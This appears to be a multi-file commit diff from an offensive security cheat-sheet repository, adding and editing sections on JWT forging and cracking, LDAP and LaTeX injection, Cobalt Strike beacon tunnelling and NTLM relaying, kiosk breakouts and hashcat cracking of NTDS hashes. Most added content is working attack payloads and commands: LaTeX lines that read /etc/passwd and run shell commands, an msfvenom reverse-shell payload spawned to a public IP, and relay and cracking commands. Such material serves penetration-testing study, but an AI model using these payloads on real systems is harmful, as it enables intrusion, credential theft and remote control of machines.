- [On Jackson CVEs: Dont Panic — Here is what you need to know](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96) - [On Jackson CVEs: Dont Panic — Here is what you need to know](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96)
- [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin / @artsploit - 29 June 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)

View File

@ -189,7 +189,7 @@ $poc->stopBuffering();
## References ## References
* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection) * [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/) * [Utilizing Code Reuse/ROP in PHP](https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf)
* [PHP unserialize](http://php.net/manual/en/function.unserialize.php) * [PHP unserialize](http://php.net/manual/en/function.unserialize.php)
* [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains) * [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains)
* [POC2009 Shocking News in PHP Exploitation](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf) * [POC2009 Shocking News in PHP Exploitation](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)

View File

@ -24,7 +24,8 @@ Check the following sub-sections, located in other files :
* [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/) * [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
* [Java Deserialization in manager.paypal.com](http://artsploit.blogspot.hk/2016/01/paypal-rce.html) by Michael Stepankin * [Java Deserialization in manager.paypal.com](http://artsploit.blogspot.hk/2016/01/paypal-rce.html) by Michael Stepankin
* [Instagram's Million Dollar Bug](http://www.exfiltrated.com/research-Instagram-RCE.php) by Wesley Wineberg * [Instagram's Million Dollar Bug](http://www.exfiltrated.com/research-Instagram-RCE.php) by Wesley Wineberg
* [(Ruby Cookie Deserialization RCE on facebooksearch.algolia.com](https://hackerone.com/reports/134321) by Michiel Prins (michiel) * [Ruby Cookie Deserialization RCE on facebooksearch.algolia.com](https://hackerone.com/reports/134321) by Michiel Prins (michiel)
* [Java deserialization](https://seanmelia.wordpress.com/2016/07/22/exploiting-java-deserialization-via-jboss/) by meals * [Java deserialization](https://seanmelia.wordpress.com/2016/07/22/exploiting-java-deserialization-via-jboss/) by meals
* [Diving into unserialize() - Sep 19- Vickie Li](https://medium.com/swlh/diving-into-unserialize-3586c1ec97e) * [Diving into unserialize() - Sep 19- Vickie Li](https://medium.com/swlh/diving-into-unserialize-3586c1ec97e)
* [.NET Gadgets](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) by Alvaro Muñoz (@pwntester) & OleksandrMirosh * [.NET Gadgets](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) by Alvaro Muñoz (@pwntester) & OleksandrMirosh
* [ExploitDB Introduction](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)

View File

@ -6,6 +6,8 @@
- [Tools](#tools) - [Tools](#tools)
- [JWT Format](#jwt-format) - [JWT Format](#jwt-format)
- [Header](#header)
- [Payload](#payload)
- [JWT Signature - None algorithm](#jwt-signature---none-algorithm) - [JWT Signature - None algorithm](#jwt-signature---none-algorithm)
- [JWT Signature - RS256 to HS256](#jwt-signature---rs256-to-hs256) - [JWT Signature - RS256 to HS256](#jwt-signature---rs256-to-hs256)
- [Breaking JWT's secret](#breaking-jwts-secret) - [Breaking JWT's secret](#breaking-jwts-secret)
@ -188,6 +190,7 @@ First, bruteforce the "secret" key used to compute the signature.
```powershell ```powershell
git clone https://github.com/ticarpi/jwt_tool git clone https://github.com/ticarpi/jwt_tool
python3 -m pip install termcolor cprint pycryptodomex requests
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C
\ \ \ \ \ \ \ \ \ \ \ \
@ -249,6 +252,13 @@ Your new forged token:
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic [+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ.xbUXlOQClkhXEreWmB3da/xtBsT0Kjw7truyhDwF5Ic
``` ```
* Recon: `python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw`
* Scanning: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb`
* Exploitation: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
* Fuzzing: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt`
* Review: `python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin`
### JWT cracker ### JWT cracker
```bash ```bash
@ -266,6 +276,14 @@ Secret is "Sn1f"
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
``` ```
## CVE
* CVE-2015-2951 - The alg=none signature-bypass vulnerability
* CVE-2016-10555 - The RS/HS256 public key mismatch vulnerability
* CVE-2018-0114 - Key injection vulnerability
* CVE-2019-20933/CVE-2020-28637 - Blank password vulnerability
* CVE-2020-28042 - Null signature vulnerability
## References ## References
- [Hacking JSON Web Token (JWT) - Hate_401](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6) - [Hacking JSON Web Token (JWT) - Hate_401](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)

View File

@ -1,6 +1,17 @@
# LDAP injection # LDAP injection
LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy. > LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
## Summary
* [Exploitation](#exploitation)
* [Payloads](#payloads)
* [Blind Exploitation](#blind-exploitation)
* [Defaults attributes](#defaults-attributes)
* [Exploiting userPassword attribute](#exploiting-userpassword-attribute)
* [Scripts](#scripts)
* [Discover valid LDAP fields](#discover-valid-ldap-fields)
* [Special blind LDAP injection](#special-blind-ldap-injection)
## Exploitation ## Exploitation
@ -9,7 +20,7 @@ Example 1.
```sql ```sql
user = *)(uid=*))(|(uid=* user = *)(uid=*))(|(uid=*
pass = password pass = password
query = "(&(uid=*)(uid=*)) (|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))" query = (&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))
``` ```
Example 2 Example 2
@ -124,7 +135,7 @@ print(fields)
Ref. [5][5] Ref. [5][5]
### Special Blind LDAP Injection (without "*") ### Special blind LDAP injection (without "*")
```python ```python
#!/usr/bin/python3 #!/usr/bin/python3
@ -168,26 +179,13 @@ end
By [noraj](https://github.com/noraj) By [noraj](https://github.com/noraj)
## Google Dorks
```
intitle:"phpLDAPadmin" inurl:cmd.php
```
Ref. [5][5]
## References ## References
Injection:
* [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection) * [OWASP LDAP Injection](https://www.owasp.org/index.php/LDAP_injection)
* [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/) * [LDAP Blind Explorer](http://code.google.com/p/ldap-blind-explorer/)
* [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN](https://0xukn.fr/posts/writeupecw2018admyssion/) * [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN](https://0xukn.fr/posts/writeupecw2018admyssion/)
* [Quals ECW 2018 - Maki](https://maki.bzh/courses/blog/writeups/qualecw2018/) * [Quals ECW 2018 - Maki](https://maki.bzh/courses/blog/writeups/qualecw2018/)
* \[5] [LDAP Injection - HackTricks][5]
Normal use:
* [How To Manage and Use LDAP Servers with OpenLDAP Utilities](https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities) * [How To Manage and Use LDAP Servers with OpenLDAP Utilities](https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities)
* [How To Configure OpenLDAP and Perform Administrative LDAP Tasks](https://www.digitalocean.com/community/tutorials/how-to-configure-openldap-and-perform-administrative-ldap-tasks) * [How To Configure OpenLDAP and Perform Administrative LDAP Tasks](https://www.digitalocean.com/community/tutorials/how-to-configure-openldap-and-perform-administrative-ldap-tasks)
* SSH key authentication via LDAP * SSH key authentication via LDAP
@ -196,6 +194,4 @@ Normal use:
- [Setting up OpenLDAP server with OpenSSH-LPK on Ubuntu 14.04](https://blog.shichao.io/2015/04/17/setup_openldap_server_with_openssh_lpk_on_ubuntu.html) - [Setting up OpenLDAP server with OpenSSH-LPK on Ubuntu 14.04](https://blog.shichao.io/2015/04/17/setup_openldap_server_with_openssh_lpk_on_ubuntu.html)
- [SSH key authentication using LDAP](https://serverfault.com/questions/653792/ssh-key-authentication-using-ldap) - [SSH key authentication using LDAP](https://serverfault.com/questions/653792/ssh-key-authentication-using-ldap)
- [FR] [SSH et LDAP](https://wiki.lereset.org/ateliers:serveurmail:ldap-ssh) - [FR] [SSH et LDAP](https://wiki.lereset.org/ateliers:serveurmail:ldap-ssh)
- [SSH Public Keys in OpenLDAP](http://pig.made-it.com/ldap-openssh.html) - [SSH Public Keys in OpenLDAP](http://pig.made-it.com/ldap-openssh.html)
[5]:https://book.hacktricks.xyz/pentesting-web/ldap-injection

View File

@ -2,14 +2,16 @@
## Read file ## Read file
```bash Read file and interpret the LaTeX code in it:
```tex
\input{/etc/passwd} \input{/etc/passwd}
\include{password} # load .tex file \include{somefile} # load .tex file (somefile.tex)
``` ```
Read single lined file Read single lined file:
```bash ```tex
\newread\file \newread\file
\openin\file=/etc/issue \openin\file=/etc/issue
\read\file to\line \read\file to\line
@ -17,9 +19,9 @@ Read single lined file
\closein\file \closein\file
``` ```
Read multiple lined file Read multiple lined file:
```bash ```tex
\newread\file \newread\file
\openin\file=/etc/passwd \openin\file=/etc/passwd
\loop\unless\ifeof\file \loop\unless\ifeof\file
@ -29,47 +31,52 @@ Read multiple lined file
\closein\file \closein\file
``` ```
Read text file, keep the formatting Read text file, **without** interpreting the content, it will only paste raw file content:
```bash ```tex
\usepackage{verbatim} \usepackage{verbatim}
\verbatiminput{/etc/passwd} \verbatiminput{/etc/passwd}
``` ```
## Write file ## Write file
```bash Write single lined file:
```tex
\newwrite\outfile \newwrite\outfile
\openout\outfile=cmd.tex \openout\outfile=cmd.tex
\write\outfile{Hello-world} \write\outfile{Hello-world}
\write\outfile{Line 2}
\write\outfile{I like trains}
\closeout\outfile \closeout\outfile
``` ```
## Command execution ## Command execution
The input of the command will be redirected to stdin, use a temp file to get it. The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
```bash ```tex
\immediate\write18{env > output} \immediate\write18{id > output}
\input{output} \input{output}
``` ```
If you get any LaTex error, consider using base64 to get the result without bad characters If you get any LaTex error, consider using base64 to get the result without bad characters (or use `\verbatiminput`):
```bash ```tex
\immediate\write18{env | base64 > test.tex} \immediate\write18{env | base64 > test.tex}
\input{text.tex} \input{text.tex}
``` ```
```bash ```tex
\input|ls|base4 \input|ls|base64
\input{|"/bin/hostname"} \input{|"/bin/hostname"}
``` ```
## Cross Site Scripting ## Cross Site Scripting
From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```bash
```tex
\url{javascript:alert(1)} \url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder} \href{javascript:alert(1)}{placeholder}
``` ```
@ -80,4 +87,4 @@ Live example at `http://payontriage.com/xss.php?xss=$\href{javascript:alert(1)}{
* [Hacking with LaTeX - Sebastian Neef - 0day.work](https://0day.work/hacking-with-latex/) * [Hacking with LaTeX - Sebastian Neef - 0day.work](https://0day.work/hacking-with-latex/)
* [Latex to RCE, Private Bug Bounty Program - Yasho](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a) * [Latex to RCE, Private Bug Bounty Program - Yasho](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
* [Pwning coworkers thanks to LaTeX](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) * [Pwning coworkers thanks to LaTeX](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -36,6 +36,8 @@ $ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstri
* [Persistence Kit](#persistence-kit) * [Persistence Kit](#persistence-kit)
* [Resource Kit](#resource-kit) * [Resource Kit](#resource-kit)
* [Artifact Kit](#artifact-kit) * [Artifact Kit](#artifact-kit)
* [Mimikatz Kit](#mimikatz-kit)
* [NTLM Relaying via Cobalt Strike](#ntlm-relaying-via-cobalt-strike)
* [References](#references) * [References](#references)
@ -168,6 +170,7 @@ $ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\d
* Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles * Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles
* Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2 * Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2
* Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles * Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles
* SourcePoint is a C2 profile generator https://github.com/Tylous/SourcePoint
```powershell ```powershell
set useragent "SOME AGENT"; # GOOD set useragent "SOME AGENT"; # GOOD
@ -390,10 +393,20 @@ beacon > browserpivot [pid] [x86|x64]
# Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port. # Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port.
beacon > rportfwd [bind port] [forward host] [forward port] beacon > rportfwd [bind port] [forward host] [forward port]
# spunnel : Spawn an agent and create a reverse port forward tunnel to its controller. ~= rportfwd + shspawn.
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o /tmp/msf.bin
beacon> spunnel x64 184.105.181.155 4444 C:\Payloads\msf.bin
# spunnel_local: Spawn an agent and create a reverse port forward, tunnelled through your Cobalt Strike client, to its controller
# then you can handle the connect back on your MSF multi handler
beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin
``` ```
## Kits ## Kits
* [Cobalt Strike Community Kit](https://cobalt-strike.github.io/community_kit/) - Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike
### Elevate Kit ### Elevate Kit
UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018) UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)
@ -455,6 +468,22 @@ Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :
- Build the Artifact - Build the Artifact
- Cobalt Strike -> Script Manager > Load .cna - Cobalt Strike -> Script Manager > Load .cna
### Mimikatz Kit
* Download and extract the .tgz from the Arsenal (Note: The version uses the Mimikatz release version naming (i.e., 2.2.0.20210724)
* Load the mimikatz.cna aggressor script
* Use mimikatz functions as normal
## NTLM Relaying via Cobalt Strike
```powershell
beacon> socks 1080
kali> proxychains python3 /usr/local/bin/ntlmrelayx.py -t smb://<IP_TARGET>
beacon> rportfwd_local 8445 <IP_KALI> 445
beacon> upload C:\Tools\PortBender\WinDivert64.sys
beacon> PortBender redirect 445 8445
```
## References ## References
* [Red Team Ops with Cobalt Strike (1 of 9): Operations](https://www.youtube.com/watch?v=q7VQeK533zI) * [Red Team Ops with Cobalt Strike (1 of 9): Operations](https://www.youtube.com/watch?v=q7VQeK533zI)
@ -470,4 +499,5 @@ Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :
* [Cobalt Strike. Walkthrough for Red Teamers - Neil Lines - 15 Apr 2019](https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/) * [Cobalt Strike. Walkthrough for Red Teamers - Neil Lines - 15 Apr 2019](https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/)
* [TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE UB 2018 - NOV 25 2018](https://holdmybeersecurity.com/2018/11/25/tales-of-a-red-teamer-how-to-setup-a-c2-infrastructure-for-cobalt-strike-ub-2018/) * [TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE UB 2018 - NOV 25 2018](https://holdmybeersecurity.com/2018/11/25/tales-of-a-red-teamer-how-to-setup-a-c2-infrastructure-for-cobalt-strike-ub-2018/)
* [Cobalt Strike - DNS Beacon](https://www.cobaltstrike.com/help-dns-beacon) * [Cobalt Strike - DNS Beacon](https://www.cobaltstrike.com/help-dns-beacon)
* [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/) * [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/)
* [NTLM Relaying via Cobalt Strike - July 29, 2021 - Rasta Mouse](https://rastamouse.me/ntlm-relaying-via-cobalt-strike/)

View File

@ -3,7 +3,7 @@
## Summary ## Summary
* [Gaining a command shell](#gaining-a-command-shell) * [Gaining a command shell](#gaining-a-command-shell)
* [Sticky Keys](#explorer---sticky-keys) * [Sticky Keys](#sticky-keys)
* [Dialog Boxes](#dialog-boxes) * [Dialog Boxes](#dialog-boxes)
* [Creating new files](#creating-new-files) * [Creating new files](#creating-new-files)
* [Open a new Windows Explorer instance](#open-a-new-windows-explorer-instance) * [Open a new Windows Explorer instance](#open-a-new-windows-explorer-instance)
@ -19,7 +19,7 @@
* **Shortcut** * **Shortcut**
* [Window] + [R] -> cmd * [Window] + [R] -> cmd
* [CTRL] + [ALT] + [SHIFT] -> Task Manager * [CTRL] + [SHIFT] + [ESC] -> Task Manager
* [CTRL] + [ALT] + [DELETE] -> Task Manager * [CTRL] + [ALT] + [DELETE] -> Task Manager
* **Access through file browser**: Browsing to the folder containing the binary (i.e. `C:\windows\system32\`), we can simply right click and `open` it * **Access through file browser**: Browsing to the folder containing the binary (i.e. `C:\windows\system32\`), we can simply right click and `open` it
* **Drag-and-drop**: dragging and dropping any file onto the cmd.exe * **Drag-and-drop**: dragging and dropping any file onto the cmd.exe
@ -94,6 +94,41 @@ Enter *.* or *.exe or similar in `File name` box
* Print menus * Print menus
* All other menus that provide dialog boxes * All other menus that provide dialog boxes
### Accessing filesystem
Enter these paths in the address bar:
* file://C:/windows
* C:/windows/
* %HOMEDRIVE%
* \\127.0.0.1\c$\Windows\System32
### Unassociated Protocols
It is possible to escape a browser based kiosk with other protocols than usual `http` or `https`.
If you have access to the address bar, you can use any known protocol (`irc`, `ftp`, `telnet`, `mailto`, etc.)
to trigger the *open with* prompt and select a program installed on the host.
The program will than be launched with the uri as a parameter, you need to select a program that will not crash when recieving it.
It is possible to send multiple parameters to the program by adding spaces in your uri.
Note: This technique required that the protocol used is not already associated with a program.
Example - Launching Firefox with a custom profile:
This is a nice trick since Firefox launched with the custom profile may not be as much hardened as the default profile.
0. Firefox need to be installed.
1. Enter the following uri in the address bar: `irc://127.0.0.1 -P "Test"`
2. Press enter to navigate to the uri.
3. Select the firefox program.
4. Firefox will be launched with the profile `Test`.
In this example, it's the equivalent of running the following command:
```
firefox irc://127.0.0.1 -P "Test"
```
## Shell URI Handlers ## Shell URI Handlers
* shell:DocumentsLibrary * shell:DocumentsLibrary
@ -109,4 +144,5 @@ Enter *.* or *.exe or similar in `File name` box
## References ## References
* [PentestPartners - Breaking out of Citrix and other restricted desktop environments](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/) * [PentestPartners - Breaking out of Citrix and other restricted desktop environments](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
* [Breaking Out! of Applications Deployed via Terminal Services, Citrix, and Kiosks - Scott Sutherland - May 22nd, 2013](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/) * [Breaking Out! of Applications Deployed via Terminal Services, Citrix, and Kiosks - Scott Sutherland - May 22nd, 2013](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
* [Escaping from KIOSKs - HackTricks](https://book.hacktricks.xyz/physical-attacks/escaping-from-gui-applications)

View File

@ -0,0 +1,142 @@
# Hash Cracking
## Summary
* [Hashcat](https://hashcat.net/hashcat/)
* [Hashcat Example Hashes](https://hashcat.net/wiki/doku.php?id=example_hashes)
* [Hashcat Install](#hashcat-install)
* [Brute-Force](#brute-force)
* [Dictionary](#dictionary)
* [John](https://github.com/openwall/john)
* [Usage](#john-usage)
* [Rainbow tables](#rainbow-tables)
* [Tips and Tricks](#tips-and-tricks)
* [Online Cracking Resources](#online-cracking-resources)
* [References](#references)
## Hashcat
### Hashcat Install
```powershell
apt install cmake build-essential -y
apt install checkinstall git -y
git clone https://github.com/hashcat/hashcat.git && cd hashcat && make -j 8 && make install
```
### Brute-Force
> Every possibility for a given character set and a given length (i.e. aaa, aab, aac, ...) is hashed and compared against the target hash.
```powershell
# Mask: upper*1+lower*5+digit*2 and upper*1+lower*6+digit*2
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?l?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?l?d?d?1
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?l?l?d?d?1
# Mask: upper*1+lower*3+digit*4 and upper*1+lower*3+digit*4
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?d?d?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?d?d?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?d?d?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?d?d?d?d?1
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?d?d?d?d?1
# Mask: lower*6 + digit*2 + special digit(+!?*)
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?l?l?l?l?l?l?d?d?1
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?l?l?l?l?l?l?d?d?1?1
# Mask: lower*6 + digit*2
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 /content/hashcat/masks/8char-1l-1u-1d-1s-compliant.hcmask
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 ?l?d?u ?1?1?1?1?1?1?1?1
# Other examples
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?a?a?a?a?a?a?a?a?a
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?a?a?a?a?a?a?a?a
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?l?d?d?d?d
hashcat --attack-mode 3 --increment --increment-min 4 --increment-max 8 --hash-type $number $hashes_file "?a?a?a?a?a?a?a?a?a?a?a?a"
hashcat --attack-mode 3 --hash-type $number $hashes_file "?u?l?l?l?d?d?d?d?s"
hashcat --attack-mode 3 --hash-type $number $hashes_file "?a?a?a?a?a?a?a?a"
hashcat --attack-mode 3 --custom-charset1 "?u" --custom-charset2 "?l?u?d" --custom-charset3 "?d" --hash-type $number $hashes_file "?1?2?2?2?3"
```
| Shortcut | Characters |
|----|----------------------------|
| ?l | abcdefghijklmnopqrstuvwxyz |
| ?u | ABCDEFGHIJKLMNOPQRSTUVWXYZ |
| ?d | 0123456789 |
| ?s | !"#$%&'()*+,-./:;<=>?@[\]^_`{}~ |
| ?a | ?l?u?d?s |
| ?b | 0x00 - 0xff |
### Dictionary
> Every word of a given list (a.k.a. dictionary) is hashed and compared against the target hash.
```powershell
hashcat --attack-mode 0 --hash-type $number $hashes_file $wordlist_file
```
* Wordlists
* [packetstorm](https://packetstormsecurity.com/Crackers/wordlists/)
* [weakpass_3a](https://download.weakpass.com/wordlists/1948/weakpass_3a.7z)
* [weakpass_3](https://download.weakpass.com/wordlists/1947/weakpass_3.7z)
* [Hashes.org](https://download.weakpass.com/wordlists/1931/Hashes.org.7z)
* [kerberoast_pws](https://gist.github.com/edermi/f8b143b11dc020b854178d3809cf91b5/raw/b7d83af6a8bbb43013e04f78328687d19d0cf9a7/kerberoast_pws.xz)
* Rules
* [One Rule to Rule Them All](https://notsosecure.com/one-rule-to-rule-them-all/)
* [nsa-rules](https://github.com/NSAKEY/nsa-rules)
* [hob064](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/hob064.rule)
* [d3adhob0](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/d3adhob0.rule)
## John
### John Usage
```bash
# Run on password file containing hashes to be cracked
john passwd
# Use a specific wordlist
john --wordlist=<wordlist> passwd
# Show cracked passwords
john --show passwd
# Restore interrupted sessions
john --restore
```
## Rainbow tables
> The hash is looked for in a pre-computed table. It is a time-memory trade-off that allows cracking hashes faster, but costing a greater amount of memory than traditional brute-force of dictionary attacks. This attack cannot work if the hashed value is salted (i.e. hashed with an additional random value as prefix/suffix, making the pre-computed table irrelevant)
## Tips and Tricks
* Cloud GPU
* [penglab - Abuse of Google Colab for cracking hashes. 🐧](https://github.com/mxrch/penglab)
* [google-colab-hashcat - Google colab hash cracking](https://github.com/ShutdownRepo/google-colab-hashcat)
* [Cloudtopolis - Zero Infrastructure Password Cracking](https://github.com/JoelGMSec/Cloudtopolis)
* [Nephelees - also a NTDS cracking tool abusing Google Colab](https://github.com/swisskyrepo/Nephelees)
* Build a rig on premise
* [Pentester's Portable Cracking Rig - $1000](https://www.netmux.com/blog/portable-cracking-rig)
* [How To Build A Password Cracking Rig - 5000$](https://www.netmux.com/blog/how-to-build-a-password-cracking-rig)
* Online cracking
* [Hashes.com](https://hashes.com/en/decrypt/hash)
* Use the `loopback` in combination with rules and dictionary to keep cracking until you don't find new passsword: `hashcat --loopback --attack-mode 0 --rules-file $rules_file --hash-type $number $hashes_file $wordlist_file`
